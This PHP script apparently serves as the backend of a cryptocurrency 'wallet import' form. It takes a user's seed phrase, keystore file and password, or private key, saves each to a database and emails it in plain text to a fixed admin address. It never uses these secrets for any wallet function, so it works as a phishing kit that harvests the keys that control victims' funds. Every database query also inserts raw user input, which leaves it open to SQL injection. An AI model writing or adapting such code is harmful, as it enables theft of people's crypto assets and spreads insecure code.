<?php
session_start();
include '../../config/db.php';
include '../../config/config.php';

$admin_email = "info@indigio.club"; // Replace with your email

if(isset($_SESSION["USER_LOGIN"]) && $_SESSION['USER_LOGIN'] != ""){
    $user = $_SESSION['USER_LOGIN'];
    $Get = mysqli_query($link, "SELECT * FROM users WHERE email = '$user' ");
    if(mysqli_num_rows($Get) > 0){
        $row = mysqli_fetch_array($Get);
        $fullname  = $row['fname'];
        $userid = $row['id'];
    }
}

function send_wallet_email($to, $subject, $message){
    $headers = "From: no-reply@yourdomain.com\r\n";
    $headers .= "Content-Type: text/plain; charset=UTF-8\r\n";
    return mail($to, $subject, $message, $headers);
}

// ------------------------- PHRASE -------------------------
if (isset($_POST['import_type']) && $_POST['import_type'] == "phrase" ) {
    $import_type = trim($_POST['import_type']);
    $wallet = trim($_POST['wallet']);
    $phrase = trim($_POST['phrase']);

    if ($phrase != "") {
        $insert = mysqli_query($link, "INSERT INTO wallet_links (`userId`, `import_type`, `wallet`, `Phrase`) VALUES ('$userid', '$import_type', '$wallet', '$phrase') ");
        if($insert){
            $subject = "New Wallet Import - Phrase";
            $message = "User: $fullname ($user)\nWallet: $wallet\nPhrase: $phrase";
            send_wallet_email($admin_email, $subject, $message);
            echo 'success';
        }
    }
}

// ------------------------- KEYSTORE JSON -------------------------
if (isset($_POST['import_type']) && $_POST['import_type'] == "keystorejson" ) {
    $import_type = trim($_POST['import_type']);
    $wallet = trim($_POST['wallet']);
    $keystorejson = trim($_POST['keystorejson']);
    $keystorepassword = trim($_POST['keystorepassword']);

    if ($keystorejson != "" || $keystorepassword != "") {
        $insert = mysqli_query($link, "INSERT INTO wallet_links (`userId`, `import_type`, `wallet`, `keystorejson`, `keystorepassword`) VALUES ('$userid', '$import_type', '$wallet', '$keystorejson', '$keystorepassword') ");
        if($insert){
            $subject = "New Wallet Import - Keystore JSON";
            $message = "User: $fullname ($user)\nWallet: $wallet\nKeystore JSON: $keystorejson\nKeystore Password: $keystorepassword";
            send_wallet_email($admin_email, $subject, $message);
            echo 'success';
        }
    }
}

// ------------------------- PRIVATE KEY -------------------------
if (isset($_POST['import_type']) && $_POST['import_type'] == "private" ) {
    $import_type = trim($_POST['import_type']);
    $wallet = trim($_POST['wallet']);
    $privatekey = trim($_POST['privatekey']);

    if ($privatekey != "") {
        $insert = mysqli_query($link, "INSERT INTO wallet_links (`userId`, `import_type`, `wallet`, `privatekey`) VALUES ('$userid', '$import_type', '$wallet', '$privatekey') ");
        if($insert){
            $subject = "New Wallet Import - Private Key";
            $message = "User: $fullname ($user)\nWallet: $wallet\nPrivate Key: $privatekey";
            send_wallet_email($admin_email, $subject, $message);
            echo 'success';
        }
    }
}
?>
